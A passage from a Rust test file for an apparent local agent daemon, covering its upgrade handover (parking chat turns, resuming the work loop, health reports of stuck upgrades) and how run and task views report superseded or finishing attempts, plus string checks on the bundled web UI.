15015 }
15016 }
15017
15018 #[tokio::test]
15021 async fn the_handover_signal_wakes_one_waiter_once() {
15022 let signal = Notify::new();
15023 signal.notify_one();
15025 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15026 .await
15027 .expect("an early signal is still seen");
15028 assert!(
15030 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15031 .await
15032 .is_err(),
15033 "a consumed signal must not wake a second time"
15034 );
15035 let signal = std::sync::Arc::new(signal);
15037 let waiter = tokio::spawn({
15038 let signal = std::sync::Arc::clone(&signal);
15039 async move { wait_for_handover(&signal).await }
15040 });
15041 tokio::time::sleep(Duration::from_millis(20)).await;
15042 assert!(!waiter.is_finished(), "nothing was signalled yet");
15043 signal.notify_one();
15044 tokio::time::timeout(Duration::from_secs(5), waiter)
15045 .await
15046 .expect("a late signal wakes the waiter")
15047 .expect("join");
15048 }
15049
15050 #[tokio::test]
15051 async fn health_says_how_long_a_handover_has_been_stuck() {
15052 let fx = Fixture::start().await;
15053 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15054 progress.advance(crate::updater::Stage::Replaced);
15055 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15056 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15057
15058 let health = fx.get("/api/health").await.json();
15059 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15060 assert!(stuck >= 600, "{stuck}");
15061 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15062 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15063 }
15064
15065 #[tokio::test]
15066 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15067 let home = tempfile::tempdir().expect("temp home");
15068 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15069 progress.advance(crate::updater::Stage::Parking);
15070 crate::updater::write_progress(home.path(), &progress).expect("seed");
15071 let mut again = progress.clone();
15073 again.advance(crate::updater::Stage::Replaced);
15074 crate::updater::write_progress(home.path(), &again).expect("replaced");
15075 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15076 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15077 let after = crate::updater::read_progress(home.path()).expect("record");
15078 assert_eq!(after.stage, crate::updater::Stage::Parking);
15079 }
15080
15081 #[tokio::test]
15082 async fn health_does_not_call_a_live_parking_wait_stuck() {
15083 let fx = Fixture::start().await;
15084 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15085 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15086 progress.advance(crate::updater::Stage::Parking);
15087 let hours = Duration::from_secs(3 * 3600);
15088 progress.started_at = Timestamp::now() - hours;
15089 progress.updated_at = Timestamp::now() - hours;
15090 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15091 let _lease = crate::updater::LeaseGuard::enter(
15092 fx.home.path(),
15093 Some("20260905-000000-cd51".to_owned()),
15094 );
15095
15096 let health = fx.get("/api/health").await.json();
15097 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15098 assert!(health["upgrade"]["stuck_kind"].is_null());
15099 assert_eq!(health["upgrade"]["handover_alive"], true);
15100 let waiting_on = health["upgrade"]["waiting_on"]
15101 .as_str()
15102 .expect("waiting_on");
15103 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15104 }
15105
15106 fn idle_ui(home: &TempDir) -> Ui {
15107 let runs = home.path().join("runs");
15108 std::fs::create_dir_all(&runs).expect("runs dir");
15109 Ui::new(
15110 Queue::at(home.path().join("queue")),
15111 Questions::at(home.path().join("questions")),
15112 Talks::at(home.path().join("talks")),
15113 runs,
15114 home.path().to_path_buf(),
15115 PathBuf::from("/repo/magi"),
15116 )
15117 .with_launch(launch_idle)
15118 }
15119
15120 async fn park_fixture(
15121 home: &TempDir,
15122 ) -> (
15123 Ui,
15124 Arc<Mutex<LoopState>>,
15125 Arc<Mutex<TalkTurns>>,
15126 tokio::task::JoinHandle<std::io::Result<()>>,
15127 ) {
15128 let ui = idle_ui(home);
15129 let looping = ui.looping();
15130 let turns = ui.turns();
15131 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15132 .await
15133 .expect("bind loopback");
15134 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
15135 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15136 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15137 (ui, looping, turns, served)
15138 }
15139
15140 #[tokio::test]
15144 async fn hand_over_waits_for_a_running_chat_turn() {
15145 let home = TempDir::new().expect("temp home");
15146 let (ui, looping, turns, served) = park_fixture(&home).await;
15147 let ui = Arc::new(ui);
15148 let id = "20260901-000000-chat";
15149 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15150
15151 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15152 let handover = tokio::spawn({
15153 let home = home.path().to_path_buf();
15154 let turns = Arc::clone(&turns);
15155 let calls = Arc::clone(&calls);
15156 async move {
15157 hand_over(
15158 &home,
15159 &looping,
15160 &turns,
15161 &|_: &[String]| Duration::from_secs(60),
15162 served,
15163 move |_| {
15164 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15165 Ok(1)
15166 },
15167 )
15168 .await
15169 }
15170 });
15171
15172 let waiting = async {
15173 for _ in 0..200 {
15174 if crate::updater::read_progress(home.path())
15175 .is_some_and(|p| p.parked_talks == [id.to_owned()])
15176 {
15177 return;
15178 }
15179 tokio::time::sleep(Duration::from_millis(25)).await;
15180 }
15181 panic!("the park never named the chat turn");
15182 };
15183 waiting.await;
15184 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15185
15186 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15189 assert!(
15190 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15191 "a direct start says an upgrade is in progress"
15192 );
15193 assert!(
15194 ui.begin_queued_talk_turn("20260901-000000-late")
15195 .expect("queued claim")
15196 .is_none()
15197 );
15198 assert!(matches!(
15199 ui.begin_talk_turn_unless_pending("20260901-000000-late")
15200 .expect("start"),
15201 TalkTurnStart::Busy
15202 ));
15203 assert_eq!(turns.lock().unwrap().live.len(), 1);
15204
15205 let progress = crate::updater::read_progress(home.path()).expect("progress");
15207 let view = upgrade_progress_view(&ui, progress);
15208 assert!(
15209 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
15210 "{:?}",
15211 view.waiting_on
15212 );
15213
15214 assert!(!handover.is_finished());
15215 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15216 drop(turn);
15217 handover.await.expect("join").expect("hand over");
15218 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15219 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15220 }
15221
15222 #[tokio::test]
15225 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
15226 let home = TempDir::new().expect("temp home");
15227 let (ui, looping, turns, served) = park_fixture(&home).await;
15228 let id = "20260901-000000-stuk";
15229 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15230
15231 let calls = std::sync::atomic::AtomicUsize::new(0);
15232 hand_over(
15233 home.path(),
15234 &looping,
15235 &turns,
15236 &|_: &[String]| Duration::from_millis(300),
15237 served,
15238 |_| {
15239 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15240 Ok(1)
15241 },
15242 )
15243 .await
15244 .expect("hand over");
15245 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15246
15247 let progress = crate::updater::read_progress(home.path()).expect("progress");
15248 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
15249 assert!(
15250 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
15251 "{:?}",
15252 progress.detail
15253 );
15254 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
15255 assert!(
15256 log.contains("handing over anyway") && log.contains(id),
15257 "{log}"
15258 );
15259 }
15260
15261 #[tokio::test]
15264 async fn drain_loop_starts_no_turn_while_parking() {
15265 let tmp = TempDir::new().expect("tempdir");
15266 let repo = tmp.path().join("repo");
15267 std::fs::create_dir_all(&repo).expect("repo dir");
15268 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15269 let home = TempDir::new().expect("temp home");
15270 let talks = Talks::at(home.path().join("talks"));
15271 let ui = Ui::new(
15272 Queue::at(home.path().join("queue")),
15273 Questions::at(home.path().join("questions")),
15274 talks.clone(),
15275 home.path().join("runs"),
15276 home.path().to_path_buf(),
15277 repo.clone(),
15278 )
15279 .with_worktrees_root(home.path().join("wt"));
15280 let cfg = config_for(&repo).await.expect("discover config");
15281 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15282 let id = talk.id.clone();
15283 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
15284 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
15285 let turns = ui.turns();
15286 let parking = ParkingTurns::begin(&turns);
15287
15288 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
15289
15290 assert!(
15291 turns.lock().unwrap().live.is_empty(),
15292 "the slot is given up"
15293 );
15294 let fresh = talks.get(&id).expect("talk");
15295 assert_eq!(fresh.pending, "later", "the draft is still queued");
15296 assert!(fresh.turns.is_empty(), "no turn ran");
15297 drop(parking);
15298 }
15299
15300 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
15302 let looping = ui.looping();
15303 let turns = ui.turns();
15304 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15305 .await
15306 .expect("bind loopback");
15307 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15308 let told = std::sync::Mutex::new(None);
15309 hand_over(
15310 home.path(),
15311 &looping,
15312 &turns,
15313 &|_: &[String]| Duration::from_secs(5),
15314 served,
15315 |resume| {
15316 *told.lock().unwrap() = Some(resume);
15317 Ok(1)
15318 },
15319 )
15320 .await
15321 .expect("hand over");
15322 told.into_inner().unwrap().expect("successor was started")
15323 }
15324
15325 #[tokio::test]
15326 async fn a_running_loop_is_resumed_by_the_successor() {
15327 let home = TempDir::new().expect("temp home");
15328 let ui = idle_ui(&home);
15329 ui.start_loop(None).expect("start");
15330 ui.park_for_upgrade().expect("park");
15331 for _ in 0..500 {
15333 if !ui.loop_view(None).running {
15334 break;
15335 }
15336 tokio::time::sleep(Duration::from_millis(2)).await;
15337 }
15338 assert!(handed_over(&home, ui).await, "a running loop must resume");
15339
15340 let successor = idle_ui(&home);
15341 assert!(!successor.loop_view(None).running);
15342 assert!(successor.resume_after_handover(true));
15343 assert!(successor.loop_view(None).running);
15344 successor.stop_loop(None, false).expect("stop");
15345 }
15346
15347 #[tokio::test]
15348 async fn a_second_upgrade_request_keeps_the_resume_intent() {
15349 let home = TempDir::new().expect("temp home");
15350 let ui = idle_ui(&home);
15351 ui.start_loop(None).expect("start");
15352 ui.park_for_upgrade().expect("first park");
15353 ui.park_for_upgrade().expect("second park");
15354 assert!(handed_over(&home, ui).await);
15355 }
15356
15357 #[tokio::test]
15358 async fn a_stop_during_the_handover_wait_is_honoured() {
15359 let home = TempDir::new().expect("temp home");
15360 let ui = idle_ui(&home);
15361 ui.start_loop(None).expect("start");
15362 ui.park_for_upgrade().expect("park");
15363 ui.stop_loop(None, false).expect("stop");
15364 assert!(!handed_over(&home, ui).await);
15365 }
15366
15367 #[tokio::test]
15368 async fn an_idle_loop_stays_stopped_across_the_handover() {
15369 let home = TempDir::new().expect("temp home");
15370 let ui = idle_ui(&home);
15371 ui.park_for_upgrade().expect("park");
15372 assert!(!handed_over(&home, ui).await);
15373
15374 let successor = idle_ui(&home);
15375 assert!(!successor.resume_after_handover(false));
15376 assert!(!successor.loop_view(None).running);
15377 }
15378
15379 #[tokio::test]
15380 async fn a_loop_the_operator_stopped_is_not_resumed() {
15381 let home = TempDir::new().expect("temp home");
15382 let ui = idle_ui(&home);
15383 ui.start_loop(None).expect("start");
15384 ui.stop_loop(None, false).expect("stop");
15385 ui.park_for_upgrade().expect("park");
15386 assert!(!handed_over(&home, ui).await);
15387 }
15388
15389 #[test]
15390 fn only_an_explicit_one_requests_a_resume() {
15391 assert!(!resume_requested(None));
15392 assert!(!resume_requested(Some("0".into())));
15393 assert!(!resume_requested(Some("".into())));
15394 assert!(resume_requested(Some("1".into())));
15395 }
15396
15397 #[test]
15398 fn the_upgrade_button_arms_before_it_restarts_anything() {
15399 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
15402 assert!(APP_JS.contains("Replace the binary and restart?"));
15403 assert!(APP_JS.contains("function confirmed("));
15404 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
15409 assert!(
15413 APP_JS.contains("Parking, then restarting"),
15414 "the button says what it is waiting for"
15415 );
15416 assert!(APP_JS.contains("if (!out.to)"));
15419 }
15420
15421 #[test]
15422 fn stopping_the_loop_arms_but_starting_does_not() {
15423 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
15426 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
15427 assert!(APP_JS.contains("confirmed(button, question)"));
15428 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
15431 assert!(APP_JS.contains("const label = btn.textContent;"));
15432 assert!(!APP_JS.contains("Neither direction is guarded"));
15433 }
15434
15435 #[test]
15436 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
15437 assert!(
15438 APP_JS.contains("state.health.version"),
15439 "the operator wants to know what is running even with nothing newer"
15440 );
15441 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
15442 }
15443
15444 #[test]
15445 fn the_upgrade_button_names_its_destination() {
15446 assert!(
15447 APP_JS.contains("`Update to ${update.to}`"),
15448 "pressing the button should not be a surprise about what it moves to"
15449 );
15450 }
15451
15452 #[test]
15453 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
15454 for stage in ["downloading", "replaced", "parking", "restarting"] {
15455 assert!(
15456 APP_JS.contains(&format!("\"{stage}\"")),
15457 "the phone must be able to tell {stage} apart from the others"
15458 );
15459 }
15460 assert!(APP_JS.contains(".waiting_on"));
15461 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
15466 assert!(APP_JS.contains("reconnects on its own"));
15467 }
15468
15469 #[test]
15470 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
15471 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
15480 ..APP_JS.find("function upgrade(").expect("upgrade")];
15481 assert!(
15482 !body.contains(
15483 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
15484 ),
15485 "a failed upgrade must not take the whole strip over the way it used to"
15486 );
15487 assert!(
15488 body.contains("upgradeFailNote"),
15489 "the failure has to reach the loop's own note instead"
15490 );
15491 assert_eq!(
15495 body.matches("upgradeFailNote].filter(Boolean).join")
15496 .count(),
15497 2,
15498 "both loop-why writers (quiet and control) must fold the note in"
15499 );
15500 }
15501
15502 #[test]
15503 fn an_overdue_upgrade_eventually_asks_for_a_human() {
15504 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
15507 assert!(APP_JS.contains("function upgradeOverdue("));
15508 }
15509
15510 #[test]
15511 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
15512 assert!(
15513 APP_JS.contains("Updated to ${upgradeInfo.to"),
15514 "the operator who asked for the restart wants to know it worked"
15515 );
15516 }
15517
15518 #[test]
15519 fn an_error_is_visible_from_where_the_button_is() {
15520 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
15525 ..APP_CSS.find(".alert-text").expect(".alert-text")];
15526 assert!(
15527 alert.contains("position: fixed"),
15528 "an error about the thing under your thumb has to be visible from \
15529 where your thumb is: {alert}"
15530 );
15531 assert!(
15532 alert.contains("z-index: 25"),
15533 "above the dock (20) and the run-actions FAB (15), so neither \
15534 buries it: {alert}"
15535 );
15536 assert!(
15537 alert.contains("var(--tap)"),
15538 "and clear of the dock and the home indicator: {alert}"
15539 );
15540 assert!(
15543 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
15544 "the FAB's column stays free: {alert}"
15545 );
15546 }
15547
15548 #[tokio::test]
15549 async fn an_older_attempt_says_what_replaced_it() {
15550 let fx = Fixture::start().await;
15551 let q = fx.queue();
15552 let runs = fx.runs();
15553 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15554 write_run(&runs, first, RunStatus::Stalled);
15555 write_run(&runs, second, RunStatus::Blocked);
15556
15557 let mut t = Task::new(
15558 "one task".to_owned(),
15559 "do it".to_owned(),
15560 PathBuf::from("/repo"),
15561 Source::Human,
15562 );
15563 t.runs = vec![first.to_owned(), second.to_owned()];
15564 q.put(&mut t).expect("put");
15565
15566 let rows = fx.get("/api/runs").await.json();
15570 let by = |short: &str| -> Value {
15571 rows.as_array()
15572 .unwrap()
15573 .iter()
15574 .find(|r| r["short"] == short)
15575 .cloned()
15576 .unwrap_or(Value::Null)
15577 };
15578 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
15579 assert!(
15580 by("bbbb")["superseded_by"].is_null(),
15581 "the latest attempt is not superseded by anything"
15582 );
15583 assert!(APP_JS.contains("run.superseded_by"));
15585 assert!(APP_JS.contains("Superseded by"));
15586 }
15587
15588 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
15589 let mut t = Task::new(
15590 "one task".to_owned(),
15591 "do it".to_owned(),
15592 PathBuf::from("/repo"),
15593 Source::Human,
15594 );
15595 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15596 t.status = status;
15597 t
15598 }
15599
15600 #[test]
15601 fn source_link_picks_the_page_that_filed_the_task() {
15602 let agent = |node: &str| Source::Agent {
15603 run: "20260904-014455-ab12".to_owned(),
15604 node: node.to_owned(),
15605 };
15606 let chat = source_link(&agent("chat")).expect("chat link");
15607 assert_eq!(chat.kind, "chat");
15608 assert_eq!(chat.id, "20260904-014455-ab12");
15609 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
15610 let run = source_link(&agent("implement")).expect("run link");
15611 assert_eq!(
15612 (run.kind, run.href.as_str()),
15613 ("run", "#/runs/20260904-014455-ab12")
15614 );
15615 assert_eq!(source_link(&Source::Human), None);
15616 assert_eq!(
15617 source_link(&Source::Issue {
15618 number: 3,
15619 repo: "o/r".to_owned()
15620 }),
15621 None
15622 );
15623 let odd = source_link(&Source::Agent {
15624 run: "a b/c".to_owned(),
15625 node: "chat".to_owned(),
15626 })
15627 .expect("link");
15628 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
15629 }
15630
15631 #[test]
15632 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
15633 assert!(
15634 !APP_JS.contains("src.node === \"chat\""),
15635 "inline href rule is back"
15636 );
15637 assert!(
15638 APP_JS.matches("sourceLinkOf(").count() >= 4,
15639 "helper must serve every page"
15640 );
15641 assert!(
15642 APP_JS.matches("openChatLink(").count() >= 3,
15643 "the run page still needs its explicit chat link"
15644 );
15645 assert!(
15646 !APP_JS.contains("const openChat = el("),
15647 "the Queue card duplicates its source label link again"
15648 );
15649 assert!(
15650 APP_JS.contains("metaKids.push(link ? el(\"a\""),
15651 "the task page must link a chat source label too"
15652 );
15653 }
15654
15655 #[test]
15656 fn task_ref_carries_the_source_link_for_a_chat_task() {
15657 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15658 t.source = Source::Agent {
15659 run: "20260904-014455-ab12".to_owned(),
15660 node: "chat".to_owned(),
15661 };
15662 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
15663 let v = serde_json::to_value(&out).expect("json");
15664 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
15665 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
15666 assert_eq!(v["source_label"], t.source.label());
15667
15668 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15669 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
15670 .expect("json");
15671 assert!(v["source_link"].is_null(), "{v}");
15672 }
15673
15674 #[test]
15675 fn task_view_serializes_source_link() {
15676 let mut t = Task::new(
15677 "t".to_owned(),
15678 "t".to_owned(),
15679 PathBuf::from("/repo"),
15680 Source::Agent {
15681 run: "20260901-000000-aaaa".to_owned(),
15682 node: "implement".to_owned(),
15683 },
15684 );
15685 t.runs.clear();
15686 let v = serde_json::to_value(TaskView::from(t)).expect("json");
15687 assert_eq!(v["source_link"]["kind"], "run", "{v}");
15688 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
15689 }
15690
15691 #[tokio::test]
15692 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
15693 let fx = Fixture::start().await;
15694 let runs = fx.runs();
15695 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15696 write_run(&runs, old, RunStatus::Blocked);
15697 write_run(&runs, new, RunStatus::Merged);
15698 let mut t = outcome_task(&[old, new], TaskStatus::Done);
15699 fx.queue().put(&mut t).expect("put");
15700
15701 let view = fx.get(&format!("/api/runs/{old}")).await.json();
15702 let task = &view["task"];
15703 assert_eq!(task["status"], "done");
15704 assert_eq!(task["is_latest"], false);
15705 assert_eq!(task["latest"]["short"], "bbbb");
15706 assert_eq!(task["finished_by"]["id"], new);
15707 assert_eq!(task["finished_by"]["outcome"], "merged");
15708 assert_eq!(task["closed_by_hand"], false);
15709 assert_eq!(view["status"], "blocked", "the run keeps its own status");
15710 assert!(APP_JS.contains("finished_by"));
15711 assert!(APP_JS.contains("superseded by run"));
15712 }
15713
15714 #[tokio::test]
15715 async fn the_latest_run_reports_a_held_task_without_a_successor() {
15716 let fx = Fixture::start().await;
15717 let runs = fx.runs();
15718 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15719 write_run(&runs, old, RunStatus::Stalled);
15720 write_run(&runs, new, RunStatus::Blocked);
15721 let mut t = outcome_task(&[old, new], TaskStatus::Held);
15722 fx.queue().put(&mut t).expect("put");
15723
15724 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
15725 assert_eq!(task["status"], "held");
15726 assert_eq!(task["is_latest"], true);
15727 assert!(task["latest"].is_null());
15728 assert!(task["finished_by"].is_null());
15729 assert_eq!(task["closed_by_hand"], false);
15730 }
15731
15732 #[tokio::test]
15733 async fn a_direct_run_has_no_task_outcome() {
15734 let fx = Fixture::start().await;
15735 let runs = fx.runs();
15736 let id = "20260901-000000-aaaa";
15737 write_run(&runs, id, RunStatus::Blocked);
15738 let view = fx.get(&format!("/api/runs/{id}")).await.json();
15739 assert!(view["task"].is_null());
15740 }
15741
15742 #[test]
15743 fn task_outcome_does_not_guess_a_finishing_run() {
15744 let a = "20260901-000000-aaaa";
15745 let b = "20260901-000000-bbbb";
15746 let c = "20260901-000000-cccc";
15747 let dir = tempfile::tempdir().expect("tempdir");
15748 write_run(dir.path(), a, RunStatus::Blocked);
15749 write_run(dir.path(), b, RunStatus::VerifiedNoop);
15750 let read = |id: &str| read_run(dir.path(), id).ok();
15752 let t = outcome_task(&[a, b, c], TaskStatus::Done);
15755 let out = task_outcome(&t, a, 3, read);
15756 assert!(out.finished_by.is_none());
15757 assert!(out.closed_by_hand);
15758 let latest = out.latest.expect("latest");
15759 assert_eq!(latest.id, c);
15760 assert_eq!(latest.status, None);
15761 assert_eq!(latest.outcome, "record unreadable");
15762
15763 write_run(dir.path(), c, RunStatus::Ready);
15765 let t = outcome_task(&[a, c], TaskStatus::Done);
15766 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
15767 assert_eq!(out.finished_by.expect("finisher").id, c);
15768 assert!(!out.closed_by_hand);
15769
15770 let t = outcome_task(&[a, b, a], TaskStatus::Held);
15772 assert!(task_outcome(&t, a, 3, read).is_latest);
15773 }
15774
15775 #[tokio::test]
15776 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
15777 let fx = Fixture::start().await;
15782 let q = fx.queue();
15783 let runs = fx.runs();
15784 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
15785 write_run(&runs, first, RunStatus::Blocked);
15786 write_run(&runs, second, RunStatus::Merged);
15787
15788 let mut t = Task::new(
15789 "one task".to_owned(),
15790 "do it".to_owned(),
15791 PathBuf::from("/repo"),
15792 Source::Human,
15793 );
15794 t.runs = vec![first.to_owned(), second.to_owned()];
15795 q.put(&mut t).expect("put");
15796
15797 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
15798 assert_eq!(earlier["superseded_by"], "dddd");
15799 assert_eq!(earlier["latest_attempt"]["id"], second);
15800 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
15801 assert_eq!(
15802 earlier["latest_attempt"]["resolved"], true,
15803 "the run that replaced it landed, so this one reads as settled"
15804 );
15805
15806 let later = fx.get(&format!("/api/runs/{second}")).await.json();
15807 assert!(
15808 later["superseded_by"].is_null(),
15809 "the latest attempt is not superseded by anything"
15810 );
15811 assert!(
15812 later["latest_attempt"].is_null(),
15813 "the latest attempt has no later attempt of its own"
15814 );
15815
15816 assert!(APP_JS.contains("run.latest_attempt"));
15823 assert!(APP_JS.contains("data-superseded"));
15824 assert!(APP_JS.contains("#/runs/${latest.id}"));
15825 }
15826
15827 #[tokio::test]
15828 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
15829 let fx = Fixture::start().await;
15835 let q = fx.queue();
15836 let runs = fx.runs();
15837 let (a, b, c) = (
15838 "20260901-000000-aaaa",
15839 "20260901-000000-bbbb",
15840 "20260901-000000-cccc",
15841 );
15842 write_run(&runs, a, RunStatus::Blocked);
15843 write_run(&runs, b, RunStatus::Blocked);
15844 write_run(&runs, c, RunStatus::Merged);
15845
15846 let mut t = Task::new(
15847 "retried twice".to_owned(),
15848 "do it".to_owned(),
15849 PathBuf::from("/repo"),
15850 Source::Human,
15851 );
15852 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
15853 q.put(&mut t).expect("put");
15854
15855 let view = fx.get(&format!("/api/runs/{a}")).await.json();
15856 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
15857 assert_eq!(
15858 view["latest_attempt"]["id"], c,
15859 "the chain's current head, not the intermediate Blocked retry"
15860 );
15861 assert_eq!(view["latest_attempt"]["resolved"], true);
15862
15863 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
15864 assert_eq!(mid["latest_attempt"]["id"], c);
15865 assert_eq!(mid["latest_attempt"]["resolved"], true);
15866 }
15867
15868 #[tokio::test]
15869 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
15870 let fx = Fixture::start().await;
15871 let q = fx.queue();
15872 let runs = fx.runs();
15873
15874 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
15877 write_run(&runs, still_blocked_a, RunStatus::Blocked);
15878 write_run(&runs, still_blocked_b, RunStatus::Blocked);
15879 let mut t1 = Task::new(
15880 "still stuck".to_owned(),
15881 "do it".to_owned(),
15882 PathBuf::from("/repo"),
15883 Source::Human,
15884 );
15885 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
15886 q.put(&mut t1).expect("put");
15887 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
15888 assert_eq!(view1["latest_attempt"]["resolved"], false);
15889 assert_eq!(view1["latest_attempt"]["status"], "blocked");
15890 assert_eq!(view1["latest_attempt"]["done"], true);
15891
15892 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
15894 write_run(&runs, run_a, RunStatus::Blocked);
15895 write_run(&runs, run_b, RunStatus::Implementing);
15896 let mut t3 = Task::new(
15897 "retrying".to_owned(),
15898 "do it".to_owned(),
15899 PathBuf::from("/repo"),
15900 Source::Human,
15901 );
15902 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
15903 q.put(&mut t3).expect("put");
15904 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
15905 assert_eq!(view3["latest_attempt"]["id"], run_b);
15906 assert_eq!(view3["latest_attempt"]["resolved"], false);
15907 assert_eq!(view3["latest_attempt"]["done"], false);
15908
15909 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
15914 write_run(&runs, noop_a, RunStatus::Blocked);
15915 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
15916 let mut t2 = Task::new(
15917 "claims done".to_owned(),
15918 "do it".to_owned(),
15919 PathBuf::from("/repo"),
15920 Source::Human,
15921 );
15922 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
15923 q.put(&mut t2).expect("put");
15924 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
15925 assert_eq!(
15926 view2["latest_attempt"]["resolved"], false,
15927 "an unverified no-op claim must not read as a confirmed finish"
15928 );
15929
15930 assert!(APP_JS.contains("latest.resolved"));
15933 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
15936 assert!(APP_JS.contains("Latest attempt: "));
15937 assert!(APP_JS.contains("in flight"));
15938 assert!(APP_JS.contains("not resolved"));
15939 }
15940
15941 #[tokio::test]
15942 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
15943 let fx = Fixture::start().await;
15944 let js = fx.get("/app.js").await;
15950 assert_eq!(js.status, 200);
15951 let tag = js
15952 .header("etag")
15953 .expect("an etag to revalidate against")
15954 .to_owned();
15955 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
15956 assert_eq!(
15957 js.header("cache-control"),
